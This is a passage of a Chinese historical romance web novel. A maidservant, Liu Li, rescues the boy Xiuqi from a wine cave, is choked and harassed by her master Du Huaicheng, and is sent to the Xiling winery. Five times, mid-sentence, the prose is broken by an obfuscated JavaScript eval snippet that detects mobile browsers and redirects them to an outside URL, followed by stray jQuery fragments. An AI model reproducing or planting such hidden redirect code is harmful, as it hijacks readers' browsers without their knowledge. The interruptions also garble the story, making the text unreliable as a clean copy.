“别怕，放松坐直了，你紧张马儿反而不自在。”刘梨依言坐正了，感觉到背后男人的热气，微微一僵。握住缰绳的双手干净修长，虽瘦削却不孱弱，手上的经络形成一道道阴影，像一笔笔淡墨在肤上漫开。 “走了。”声音低沉就在耳边，刘梨未曾与男子这般亲密过，心想幸好背对他，瞧不见她此刻红透的脸。 伍子骥看见姑娘殷红的耳垂，嘴角无声牵起。 马蹄踏踏，刘梨分神去看周边景致，“离家的时候正是收麦时节，这会已经种下新苗了。” 顺着她目光看过去，“农家总是应时节耕作，农事繁重，四时不息。”子骥道。 “爹爹说今年是个好年头。” 女子的侧颜清丽娇美，他深深瞧了两眼，才说道：“良辰美景，甚好。” 临近庄子，伍子骥先下了马，牵着缰绳进庄。刘家的枣树枝繁叶茂，遮去大半的篱笆墙，院子里鸡鸣声声，一妇人坐在井台边浣洗，不是刘婆是谁？ 轻轻唤了声“干娘”，刘婆耳力尤其好，闻声停下手里的活计。刘梨又唤了一声。 “真是我家二娘？”再忍不住，跑上前扑到刘婆怀里。 刘婆搂住姑娘，颤着手将她摸过，才细细问起这些日子闺女过得可好。娘俩说过话，刘梨又引见伍先生给刘婆。伍子骥从马上卸下两包山货给刘婆，只说是刘梨带回的。他礼数周到、心思细腻，替她想的周全，刘梨看他的眼神又多了几分感激，一边觉得总是欠他的，一边又忍不住泛起丝丝甜。 “我还得赶上车队回去复命，不便送你回山了。”刘梨明白他事务繁忙，垂着眼点点头，感谢的话似乎说过很多，开口却依然是“多谢”两字。 伍子骥见她两颊红红的，目光还是不看自己，“晚些时候让你父兄安排你回去，你一个姑娘家在外，我会担心。”最后四字说的极轻，刘梨蓦然抬起眼，直直望进一双瞳仁，那里清澈明净，只映出自己的影儿。好像突然春风拂化了冰雪，阳光照进了迷雾，二人不约而同带上笑，陌上花开，璧人一双。 晚些时候刘老儿归家，看到干闺女又喜又忧，纵是老汉顾面子，也不免好一番伤感落泪。问起兄长，得知刘又青伤好后便离开原来的工坊，备起挑子自己单干，做了个游走的银匠。辛苦也很是辛苦，背着挑子到处跑，风餐露宿是常有的事。好在又青本就手艺好，价格公道童叟无欺，如今在十里八乡也有了些名气，前天被邻近乡里请去打嫁妆头面，需过上几日才能回。 “如今家里日子好了，我和你爹爹攒着钱，想着定要把你从那府里赎出来！”刘婆紧紧攥住刘梨的手说道。她精气神比之前大好，只是多了不少华发，显得更苍老些。“我在杜府里很好， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16021144|178529||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 主人家待我和善，爹娘放心。”“我怎么放心啊！为了我们，你……”眼看又要哭，刘梨忙岔道：“我之前瞧小柳儿像是对哥哥有意的，那可是个好姑娘。”“是啊，两个孩子从小一起长大的，彼此都有些情意，难得小柳儿家里也不嫌弃我们，先前两家人透过口风，都有那意思，只你哥哥……怕小柳儿嫁过来受苦，委屈了人家姑娘。” “咱家真诚待她，必不让小柳儿受苦。爹娘仁爱，哥哥也有好手艺，先前不是说要在旁边盖几间新房么，我那里攒了点钱，回头……” “不行！”刘婆打断她，“你的钱自己收好，家里最要紧的是先把你赎出来！”刘梨还要再劝，刘婆一个劲地不听。 “说那些伤心话干嘛，闺女难得回来，上回又青不是给二娘打了支簪子让你收着？还不快拿出来。”刘婆经刘老儿提醒忙起身，连说可真是老糊涂了，拉着刘梨进屋，从床头箱子底下掏出一个红布包塞到刘梨手里。 “打开看看。” 刘梨剥开层层包裹，里面是一支雪亮的银簪，正是一枝梨花的形状，虬枝嶙峋，枝头开出几簇绚烂梨花，簪身又饰以流云纹，风格高雅，意趣不俗，刘梨立刻喜欢上了。“真好看！我这就戴上！”说着对着镜子簪入发间，银簪乌发，衬得脸儿俏丽多姿。“又青哥哥果然好手艺。” 这次回来匆忙，刘梨没去拜访昔日闺中好友，只陪爹娘亲亲热热地吃了顿饭。惦念修齐还在山里，哪敢真在家里留宿，刘老儿要亲自送她回去，刘梨不忍老人家辛苦劳累，央干爹另寻了辆牛车，许车把式几个铜钿送她回去，不料这一去又生出许多事端来。 19. 十九 纵漫无源 牛车送到山下，刘梨别了车把式自行上山。天色晦暗，扶了扶鬓上的梨花簪，心情却是明快地很。刘婆包了一兜的干果，想着待会正好分给两个孩子吃，脚下步伐也快了几分。 临近山门，忽见寨子里人影幢幢，夹杂着呼喝声，比之平日气氛明显不对。 “哎哟，姐姐，你可算回来了！”杜澜斜刺里跑来，一脑门子汗，刘梨刚要开口问话，打眼一瞧杜淮琤正站在阶上，许是听见杜澜的声音，正朝这边看来，隔着众人仍感受到他眼中的阴鸷，顿生出不好的预感。 “小公子丢了！下半晌我随二爷上山就不见他人影，已撒出人去找了半日，还是没找着！”杜澜几乎哭了出来。 “修齐丢了？”刘梨惊道。 杜澜点点头，“二爷正打算派人往刘庄一路寻你去呢，要是再找不着，咱俩的小命可就交待在这儿了！” 听得修齐不见了，刘梨也慌了神，难怪杜淮琤一副要吃了她的神情。修齐不是不懂事的孩子，突然消失别是遭遇什么变故！这里山势险峻，他一个人会不会出什么意外？正思量时，突然被一股大力裹挟，直抵到外墙上。 后脑撞到墙壁，昏沉间杜淮琤已欺身上前，手掌扼住女人脖颈，从牙缝里挤出话来，“你这毒妇！把修齐藏哪里去了？！”双眼几乎瞪出血来，怪自己大意，这女人来路不明，程锏也曾提醒过自己，一向审慎的他怎么就对她放松了警惕？若是修齐有什么三长两短，他没法给嫂嫂及过世的兄长交待，思及此，手上力度又加重几分。 刘梨几乎昏厥过去，这男人定是恨极了。她是修齐的贴身婢女，顾自下山没照看好小主人，其罪无可推卸。钳在颈间的双手挣脱不得，她无法呼吸，脑壳几欲迸裂，有一瞬间闭上眼想着不如就此死去算了，她或许早该走的，可是想到修齐不知身陷何处又睁开眼，面前的男人她不敢去看，目光转过，见阿麦缩在一边，满脸的惶恐。 女人的脖子纤细，一手便能扼住。她闭上眼的那刻，杜淮琤分明觉察到她不想活了，可下一瞬，再睁开眼又迸发出凛凛生气，似是被这生气灼到，不由得松开手。 刘梨跪伏在地大口喘气，不待气息匀停，连跪带爬到阿麦面前，哑声问：“你、你和修齐怎么了？” 阿麦被吓坏了，脑子木木的，刘梨按住他双肩：“阿麦！修齐和你说过什么？” 阿麦被她的样子吓到了，梨姐姐从来是温柔和气的，何曾这样与他们说话？他看她脖子间的瘀痕，刚才东家差点掐死她，掐死，死……修齐爹爹死了，“他说，想找爹爹。” 周遭的人皆愣住，大爷走了多年，修齐哪里寻父去？刘梨怔愣一下，脑中电光一闪，拨开人群朝林中奔去。 这林子来过不止一次，她又善辨路，穿梭一会，便找到那日的山洞。洞口的木门已锁上，说是木门，因要保持洞窟空气流通，并不密封，加之山壁嶙峋，木门并未完全贴合洞口。刘梨四下观察摸索，真在门板上发现一撮丝缕，和早上她给修齐穿的衣裳料子一样。她生得纤柔，从缝隙间勉力挤进去。站在洞口，那山洞就像个怪兽，阴森森地望着她，内里藏着未知。 “修齐！修齐！”喊了两声，嗓子嘶哑难听，自己也吓了一跳。喊声很快被山洞吞没，让人怀疑根本没有传播到更深处。天色又暗了几分，刘梨来不及多想，朝洞中走去。 起初还能借着洞口的天光，看清是一条长长的甬道，大概能并行两辆小车，往里渐行渐窄，很快被黑暗吞噬。刘梨又喊修齐的名字，声音晃晃荡荡传到深处，泛起诡异的回音。那声音不像自己的，好像山林的鬼魅，怪声怪气学她说话，好把人往洞里勾去。 回头看了一眼，洞口已经变成晦暗不明的光圈，想来已经走出很远。犹豫了一下要不要回去喊人，一想到恶鬼似的杜淮琤，刘梨坚定地掉转头往更深处走去。 洞中的空气倒是鲜活，透着沁脾的冷意，待得久了她的夏裳在此时此地竟有些不胜寒凉。似乎是走到了轩敞的地方，呼喊修齐头顶也有了回声。 手摸到硬物，应是装酒的坛子，空气里有微微的酒香。刘梨停下脚步，这里是洞藏陈酒的地方，杜淮琤对防火看得很重，一路行来都没看到照明之物，她不敢再前行，怕失了方向，心内如焚，哑着嗓不住地呼唤“修齐”，就在这当口，隐隐听到细呐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16021145|178529||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的呼声。 “谁在哪里？”睁大眼，入目全是黑暗。 “梨……姐姐。” 刘梨大喜，赶紧往声音处寻去，不期然踢到一地碎陶片。 “修齐，你怎么样？”伸出手，摸到了瘫坐在地的修齐。“可受伤了？伤哪了快告诉我！” “我没有，就是不想，不想动。”他声音恹恹的。 刘梨摸到修齐的脸，抵上他额头，幸好，不发热，随即皱起眉头，“你喝酒了？” “什么都没有，什么都没有。”孩子痴痴的。 刘梨略感不妙，双臂搂住他，温暖他微凉的身体，“修齐，你要找什么？” “我以为，这洞里应是有神仙。想问问他，我爹爹是什么模样？为何爹爹不要齐儿和娘？” 手臂收紧，“不用问神仙，梨姐姐也知道你爹爹不会不要齐儿。修齐这么乖巧懂事，他怎么舍得不要你？” “那他为什么要走？别人都有爹爹，独我没有！”孩子从她怀里挣脱，喝了酒竟生出些蛮力，一把推倒了刘梨。 “我也没有。” “梨姐姐？” “我也没有爹娘”，刘梨凄然一笑，“可这不妨碍我爱他们。即使不能见面，我知道他们也是爱着我的。” 孩子扎进她怀里，肩膀颤动。 “我最开始常想，他们可能在我看不见的地方陪着我，所以一定要把日子过好，叫他们安心。”轻抚他的发顶，“可现在，我希望他们早登极乐，了无挂碍，不用再牵念我……这一世，事已了，不必再拘于此世，放下一切，清净自在去吧。” “放下？我舍不得。” “人啊，人身难得已得，尘缘难舍可舍。过去不想，未来亦不想。你只想现在，你二叔为了找你，把整座山都快翻遍了；如果你娘知道你出了事，该如何担心？还有阿麦，他是你的朋友，找不到你，吓得几乎失了魂。还有我……你舍得我们担忧吗？” “梨姐姐，我本意不是如此，让大家担忧，修齐以后不会了。” “好孩子，我信你。”揉了揉他脸蛋，“现下可站得起来？咱们想办法出去。” 20. 二十 度脱此身 修齐在黑暗里待的太久，心中惊惧，又喝了坛子里的酒，不过是个孩子，哪里遭受的住，一时怎么都站不起来。 洞中的寒气透过薄衫，似乎要侵入骨髓。刘梨脱下外裳裹住修齐，将袖口、下摆紧紧缚在身上。“我背你。” 把着修齐的手环住她脖子，两手将他双腿拢在自己腰侧。手臂刚碰到喉咙，肿痛难当。现下顾不得这些，刘梨背起修齐，想慢慢回到主路去。刚才情急之下早失了方向，只记得进来时的那条道比其他都宽，应该是中轴线。 试着走了几步，到处是相同的坛子，迷宫一般。 “梨姐姐，怎么了？” “没事，你累了就在我背上睡一会。”孩子嗯了一声，慢慢没了言语。 刘梨逼迫自己冷静下来，黑暗里目不能视，听觉倒是敏锐起来。远处有细细的水声，可能就是阿麦说的地下暗河，入口处没有水声，想来朝着暗河反方向应该能找到出口。她不再执着走到中轴线上，打算沿着一个方向走到头，碰到山壁，顺着山壁的方向慢慢摸索。 这洞不知道有多大，刘梨小心地避开地上的坛子。渐渐找到它们的摆放规律，每隔两步一只，像经纬线般指引着她。可算是走到山壁，这里地面开凿的并不平整，比之前难行许多。刘梨腾出一只手，摸索着山壁慢慢前行。间或摸到几样黏腻的东西，忍着不去乱想，脚下惊到什么物体，嗖一下穿梭而过。 修齐睡沉了，在后背控制不住地下滑，她只好把背弯得更低，几乎像在爬行。 “我一定、带你出去。”潮衣裳裹在身上，感觉不出冷热。 不知道走了多久，这混沌一片的黑仿佛能吞噬万物。刘梨胡乱想着他俩怕不是进了山妖的紫金葫芦，不久便会化成脓水和这黑暗融在一起。已经感觉不到脖子的痛楚了，后背的孩子还在下滑，她跪趴在地，果然是癫了，竟在洞里看到了萤火虫。闭了闭眼，萤火虫并没消失，星星点点愈来愈近。 是火把！ “这里！我们在这里。”刘梨不确定她是不是真的发出了声音，只是机械地扯着嗓子喊着。 终于，有一点萤光飘了过来。杜淮琤的脸映在火把下，被温黄的火光映照，竟也生出暖意。他应是朝身后喊了什么，越来越多的火光聚过来，晃得刘梨眼炫。 得救了。心下一松，闭上眼便坠入深渊。 身下是软的，耳边窸窸窣窣，她想去抓取只字片语，总是不得。脑子先甦醒，浑身像被碾压过，挣扎一番才睁开眼。 “梨姐姐！你醒了。” 是阿麦，小娃子脸皱成一团。“别哭，真丑。”一开口，那粗嘎嗓音唬得刘梨略清醒几分。喉咙里像灌了石砾，吐不出来咽不下去，喉头稍动一下像就被锯子碾过。脸上微烫，身上却又一阵阵发冷。她勉力抬手摸了摸脖子，颈间裹着纱布，凉凉的，透着药味。 “大夫说你最近要少说话，按时喝药，切忌生冷，养上些时日就该恢复如初了。” 刘梨拿眼睛看他，阿麦会意，“修齐小少爷没事，受了惊吓，喝了两副安神汤药便好了。我叫他去！”说完就往外跑。 不一会就跑进来几人，这屋子本是庄子里刘梨住的那间，不大，顷刻就塞满了人。 修齐带着哭腔，“梨姐姐，你睡了两天，可算醒了。” “你没事吧？”刘梨顶着公鸭嗓，毫不在意。修齐赶紧摇摇头。 一个大夫模样的中年人上前，替刘梨把了脉，又让她张嘴看了看，把刚才阿麦的话又说了一遍，“少说话，忌生冷，不能吃难克化的东西。”从药箱里拿出几帖药，复又说道：“你这姑娘，以后不可逞强。表面瞧着还康健，然总是郁结于心、忧思过度，难免气机郁滞，年轻人还需解郁疏散，方可情志畅达。”刘梨勉强笑了笑，谢过大夫。 庄上的婶子端了碗米粥上前，“两日未进滴米，这粥我熬了许久，稠稠的，温度刚好，快用些。” 刘梨真饿了，婶子的粥熬得也好，只是她吞咽起来很有些痛苦，刚进了两口，一个人影出现在门口。身形高大，屋内人见状忙侧身让过，能跑的都跑了个干净，连那大夫也利索地收起药箱默默退了出去。屋里只剩下行动不便的刘梨，床畔的修齐，和刚刚进来的杜淮琤。 修齐行了一礼，低着头往门外走。 “站住。” “二叔。”前两日他身子不大好，二叔没找他麻烦，这会子看阵势是要算账了。 “岑夫子与我请辞多次，一直未应允，这次回去多备束脩之礼，遂了老先生的愿吧。”修齐惊疑地抬起头，还没开口，杜淮琤又道：“学塾那里我另有安排，过些时日，便送你去紫阳书院进学。” “紫阳书院？徽州？”修齐从没离家那么远。 “怎么，怕了？还是你想永远躲在妇人身后？”杜淮琤别有深意看了侄儿一眼。这是他深思熟虑做的决定，不管是薛素卿还是刘梨，他怕修齐对她们太过依赖，养于妇人之手，恐以后落得平庸。 “不！我这就回去准备。”深吸口气，看向床上的人，鼓起勇气问道：“二叔，请不要苛责梨姐姐，她……” “她失职在先，后面虽然找回你，但家法难容，断不能留在府里了！” 刘梨双手捧着粥碗，仿佛对外物毫无知觉。 撵走修齐，屋子里随即安静下来。杜淮琤踱着方步，走到窗边坐下。小桌上一只笸箩，里面是做到一半的绣活，他记得她针黹很不成样子，眼前这件倒还好，显然下过功夫。 不急于开口，其实也是没想好怎么处置她。修齐失踪那会他吃人的心都有，但在酒窖找到他们时，她支离的样子竟让他生出恐慌。回来的路上，怀中的她仿佛没有一点生机，心底某处被揪住，酸酸涩涩的——这陌生的感觉让杜淮琤有些着恼。作为杜家家主，他不想被莫名的情绪左右，失去对理智的控制，思及此，手中的绣片 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16021146|178529||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不觉被攥紧。 “能不能不要发卖我？” “什么？”女子的声音打断他的思维，嗓音哑涩。 刘梨侧过身，定定看向他，“请您，不要发卖我。”听清她的话，没来由地烦躁。 她不愿摇尾乞怜，眼下的形势又逼得自己不得不向“主子”低头。刘梨向来不是自恃清高的人，可她听说过奴仆犯错被卖到那等腌臜处的传闻。以前府里的梅香不久悄么声消失了？脖子被扼住的场景还历历在目，那样的杜淮琤，像个索魂的恶鬼，现在想起来还忍不住战栗。 “婢子犯下大错，不敢为自己狡辩。只求您准我爹娘替我赎身，将我逐出府去。” 赎身？他原以为她会向他哭诉求情，心底已经准备好原谅她了。谁料这妮子说出口的竟是自请离去，杜二爷觉得自己好一番自作多情，无名火再次升腾起来。 “好，好，好。”杜淮琤寒着脸连说三个“好”字，“好个赎身出府。”起身慢慢走近，“不知你说的爹娘，是刘家二娘的爹娘，还是你刘梨的爹娘？” 她仰望他，杜淮琤逼人的压迫感令她动弹不得。他一定打探过了，自己的身世不知该作何解释，索性别开脸不说话。 杜淮琤没料到她还沉得住气，看来得用些手段。 寒凉的手指蓦地触上脸颊，刘梨一惊，不可置信地望向他。“倒是副好皮囊，你就是用这双无辜的眼睛蛊惑伍子骥的？”手指滑过姑娘脖子，轻轻撇开一点衣领，落在她锁骨处，婉转流连，好像一条冰冷的小蛇游走其间。 眼中涌上泪，刘梨死死咬住唇，不让眼泪流出。 “我派人打探过，你可费了伍子骥不少银钱。那人从不做赔本的买卖，如此费心……”手指又往里探了几分，“可是受用过了？” “啪！”手中的碗掉落床下，刘梨双手紧紧攥住杜淮琤的，因用力指节泛白，她颤声道：“请二爷自重！我虽是奴婢，可也不容您这般羞辱！” 杜淮琤眯了眯眼，这女人明明怕得很，身子都在战栗，硬是不让眼泪掉下。手指缩回，离开那片软玉温香，“有趣得紧，我倒要瞧瞧伍子骥用意为何。”手指意味深长地在刘梨眼前拈了拈，“怎么发落你，爷说了算，别想着让你‘爹娘’赎身了，爷自会给你安排个去处。”说罢转身，绕过地上一片狼藉拂袖离去。 刘梨头埋在被里，终于让眼泪宣泄出来。她浑身颤抖，几乎无法思考，脑中只一个声音“逃！逃吧！” 掀开被起身，又跌坐回去。 往哪里逃？这是个可以把人当货物售卖的社会，若再陷入娄山那样的境地，以她现在的能力，足够自保吗？纵使侥幸逃脱了，杜淮琤知道她冒用刘家二娘的身份，会如何处置刘家人？还有伍子骥，杜淮琤话里话外对子骥抱有戒心，平日对子骥的倚重难道是假象？这些是她的恩人，她不能想着自己一走了之，命运既让她来到这里，哪怕身陷泥淖，她也要挣一挣！ 21. 二十一 约法三章 刘梨一夜未眠，枯坐望着蜡烛泪竭熄灭。窗棂刚映出一点天光，就有人扣门叫起。简单漱洗一番，盘髻时到处找不见那支梨花簪。门上又响，只得挎着包袱出来。庄子里寂静无声，程锏一手牵马，另一手牵了头灰驴站在门外。杜淮琤和修齐昨日就下山了，没想到竟把程锏留下来安置自己，刘梨苦笑，小小婢子好大的面子。 “可会骑驴？”程锏的声音没有温度。 “我试试。”灰驴没有马高大，刘梨把它牵到石阶旁，腿上还使不上力气，她不想露怯，踩着石阶勉力跨上驴背。程锏没什么表情，打马在前。刘梨拍拍驴，“走吧。”这驴子倒也乖觉，跟上前面的马，走得不慌不忙，倒是稳当。 山门下一个人影，刘梨想起初上山时他大马金刀的样子，嘴角带起笑意。阿麦将手中的油纸包塞到刘梨手里，默默退下。半大小子说不出惜别的话，一径低着头。 “谢谢，保重。”前面的马没有停下，刘梨匆匆道别。 全程无言。 程锏心道这女人倒是沉得住气，也不打听要去哪里。 一路不停歇，行到一处岔路，才下马休息。 刘梨早已吃不消，从驴背上滑下来，忍着颤倚靠路边大石坐下。她在岩洞里风邪入体，又被杜淮琤煞神般恫吓，身子一直没休养好。昨夜未眠，身体更是沉重，能维持不掉下驴来已经难得。 举目四望，竟是上回和伍子骥走过的路口。不过几日光景，便发生诸多变故，也不知杜淮琤怎么处置她，今后要流落向哪里？ 掏出阿麦给的油纸包，里面是几个饼子。先递了一个给程锏，他略意外了一下便接过，刘梨坐在大石上啃饼，几顿没好好吃东西，这会真饿了。斜里递来一只水囊，刘梨接来，点点头表示谢过。 修整片刻二人继续赶路，不知是不是她的错觉，速度比之前慢上少许。日头渐渐上来，道路坦阔，偶有几个行旅，俱是行路匆匆。在烈阳爆发它的威力前，两人转上一条林荫道。这条路显然也被好好修缮过，行数里，只见峰岩交错，溪流纵横，一道白练般的山涧蜿蜒而上，延伸至又一处庄子。 这庄子比阿麦他们那儿大上许多，远远就能瞧见一架大水车挺立在溪涧急流处。庄前路口立一巨石，阴刻填朱四个遒劲有力的大字——“西岭酒坊”。庄子里人来人往，各司其职。即便有好奇的，认出是程锏，也不敢上前打扰。 程锏直接带她来到庄中主楼前，一小厮跑上前接过马缰，“程爷。” “周坊主在吗？”“坊主在里面呢，小的给程爷带路。”程锏走出两步，回头对刘梨道：“你先在外面候着。”刘梨点头应下。 这处正在庄子中庭，除了停放车马，也兼做料场、晒坪。东南角几个壮年正从车上卸料，不时朝刘梨看来两眼。她往灰驴身后隐了隐，暗暗打量周围。 这西岭酒坊想必亦是杜家的产业了。屋舍林立，道路平阔，来往的人不少，多而不乱，各安其职。空气里飘着酒糟味，是粮食发酵后湿漉漉、暖哄哄的气味，算不上好闻。那头灰驴似被影响，连打了几个响鼻。 约莫半柱香的工夫，程锏回返，并不和刘梨多话，纵身上马，绝尘而去。 这是把她丢下了？ 方才那小厮朝刘梨拱了拱手，面容还算和善。“程爷大致将姑娘情况说了，你这就随我进来见过周坊主。” “多谢，请问大哥怎么称呼？” “我是坊主身边伺候的，鄙姓易。” “易大哥。”全然陌生的环境，刘梨有些惶惶。 “当不得、当不得，我单名一个全字，你就随他们叫我全哥吧。”易全，乙醛，好记。 易全对刘梨的嗓音并不奇怪，也不知程锏怎么和他们交待的，带她进了议事堂便退了出去。几架落地书橱上摆满了卷轴书册，书案上堆的也是。一长者坐于书案后，手上奋笔疾书，刘梨等了半刻他才抬起头，像是才发觉堂下立了个人。长者生得富态，须发花白，目藏精光，毫不避讳地将她上下打量一番，嘴里直 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16021147|178529||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嘬牙花子。 刘梨向上行礼，垂眸道：“婢子名唤刘梨，往后叨扰坊主了。”见她行止有度，周坊主把笔搁回笔架，叹道：“酒坊这地方，素来都是男人的地界。二爷把你送到我西岭酒坊，可是给周某出了个难题哦，该如何安置姑娘才好？” “我惯做粗活，酒坊里有什么我能做的，坊主差遣便是。” 周坊主挑挑眉，“咱们坊里不养闲人，活计自是少不了的。姑娘的事，老夫也知晓一二，既然你是因为坏了规矩才被遣来这儿的，那我可得特特与你说说规矩！” 这话说的不客气，刘梨肃身道：“请坊主吩咐，刘梨一定谨记在心。” “第一，这西岭山钟灵毓秀、造化神奇，岭中草木生灵不可轻易伤之，哪怕一朵野花、一只蚂蚁，都不要随意践踏；第二，坊内曲房、蒸室、晾堂、窖池，你不得以任何理由进入；第三，坊中用水俱引自白猿涧，上游的水不可私自取用，更遑论嬉水、浣洗、垂钓了，总之你离它远远的，不要靠近便是。以上但有违逆，我不管谁送你来的，即刻打出去，可明白了？” “明白。” 得到她的允诺，复又唤易全进来商量安排寝所，提了几处都不满意，要么嫌人多嘈杂，要么嫌屋子老旧，惹得老头又开始嘬牙花。易全想了想，伸出一指朝上抬了抬道：“上面倒还有处空房，也干净齐整，只是离‘六尘草庐’近了点，您看……”坊主捻须想了想，“就那儿吧！”转脸又对刘梨郑重道：“再加一个，‘六尘草庐’也不得进入。”说罢挥挥手，又埋头到账册中了。 刘梨退出来，心想周坊主看着严苛，可刚才挑屋子的劲头，细致周到、外粗内秀，和府里的常妈倒是一个脾性儿。想到府里，不免又想起修齐，也不知小儿郎现在境况如何？他二叔好狠的心，那么小的孩子就要被独个儿送到徽州去，大奶奶怎么舍得？又想自己被送到这里，无人知晓，好不容易和刘家联系上，这又断了消息。还有……她想得脑仁疼，甩甩脑袋，紧几步跟上易全。 22. 二十二 西岭酒坊 易全带着刘梨熟悉庄子。这西岭酒坊就是一个大的酿酒工厂，历经数代家主，逐年扩建，才有了今日这般规模。除料库、酒仓外，依据白猿涧的走势，建成曲房、蒸室、晾堂、窖池等，逐水而筑分布于整座西岭山，俨然一个小型工业园。刘梨一边听全哥介绍，一边观察各房舍，暗暗记下哪些是自己不能进的，千万不要冲撞了。 越往上走屋舍越稀朗，二人渐渐走到水车下。它像个巨人一样汲取白猿涧溪水，通过纵横的人工水渠将水送至酒坊各处。“这水渠还是当年二爷主张开凿的，以前都是人工担水，忒累人，有了水渠便利多了。那会儿二爷只不过是个少年，能绘出沟渠图并督造建成，真了不得。”易全毫不掩饰的崇敬。 手指抚上颈间，刘梨不置可否。 易全又指指水车道：“水车每日卯初开，酉时关闭，过了水车的流段便不可随意取用溪水，任何人不得例外。”刘梨郑重应诺。 水车近旁有一汪小池，几株荷亭亭玉立，也没有花，荷叶在风中摇曳着绿色裙摆。 “这是‘试水池’”，看出刘梨的疑惑，易全解释道：“‘白猿涧’是酒坊的命脉，相传当年灵兽白猿便是取此水酿成百花酿献予先祖。杜家‘白猿酿’誉满天下，以其味清而不淡，色浓而不酽享誉世间，历朝历代更是作为贡品贡赋于天子——杜家殊荣，大庥朝几百年来无人能出其右。” 易全满脸的骄傲，继续道：“所以这水尤为重要，特意筑了‘试水池’就是监测白猿涧水质的，若是池中苔痕凋敝、鱼虾尽藏，便不再取用。”刘梨上前两步，看菱透浮萍绿，萦草护游鳞，颇有野趣，“那若是冬季草木凋零，可怎么分辨？”易全笑道：“冬季本就酒事少，忙活一年临近年尾，能歇的坊主都安排回家歇着了。” “坊主真是体恤怜下。”刘梨由衷道。 “那当然，咱们周坊主瞧着严苛，可他端然正己，大家都很敬重他，刘姑娘不要被他吓到了。” “不会，刘梨明白。”严苛的人往往更有原则，比心口不一的人好多了。 “在坊里，只要勤勉守规矩，坊主自会护佑你。”易全左右看看，低声道：“悄悄跟你说，坊主最是‘护崽’了，拧起来东家都要让他几分。”刘梨知道他这是给自己宽心，感激地笑笑，想想又问道：“杜二爷……东家经常来西岭吗？” “说不准，有时半年见不到人影，有时一住就是几个月。对了，他来时就住在上面的‘六尘草庐’，东家不耐烦被人打扰，你避着点那处。”刘梨忙不迭点头，又想打听伍子骥，略觉不妥，便咽下了。 试水池不远就是储粮的仓廒，门上各题“裕丰”、“益丰”、“万安”、“太平”等，一廒三间，俱是大砖石砌就，每廒间相隔较远，有专人看守。 几只猫儿懒洋洋躺在其间，也不怕人，个个膘肥体壮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16021148|178529||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 、油光水滑。“这些猫在坊中可繁衍了几代了，指着它们捕鼠，没人招惹它们。坊主还命我等偶尔喂上几顿荤腥，也算作聘猫纳契了，只是不敢喂太饱，以免失了野性。” 刘梨点点头，“坊主说岭中生灵不可轻易伤之，这般持有慈悲之心，令人钦佩。” “倒不全因为慈悲心。世上名山大川何其多，为何偏偏咱们西岭能酿好酒？”易全拿了个关子，见引起姑娘好奇，才道：“听坊主说，盖因西岭山的风物不同于别处，气候、水文，乃至山中草木的气息变化，都会影响制酒，所以历代家主都不许轻易改变西岭山的面貌。守着青山，庄里使的柴火都是花钱从山外运来的。” 说话间就到了住处，傍着竹林的一间小屋，果然清静。“这间还是太爷在时命建造的，叫什么‘独坐幽篁里’，后来只造了一间便停工了，说是嫌水车声音扰人神思。二爷也住过几次，地方太小铺排不开，才又辟出一块建了‘六尘草庐’，绕过这片竹林就是，这儿就一直空置了。”刘梨四下打量，这屋子造的精巧，里头家具物事不多，却风格质朴，简约实用。刘梨满意极了，连连道谢。 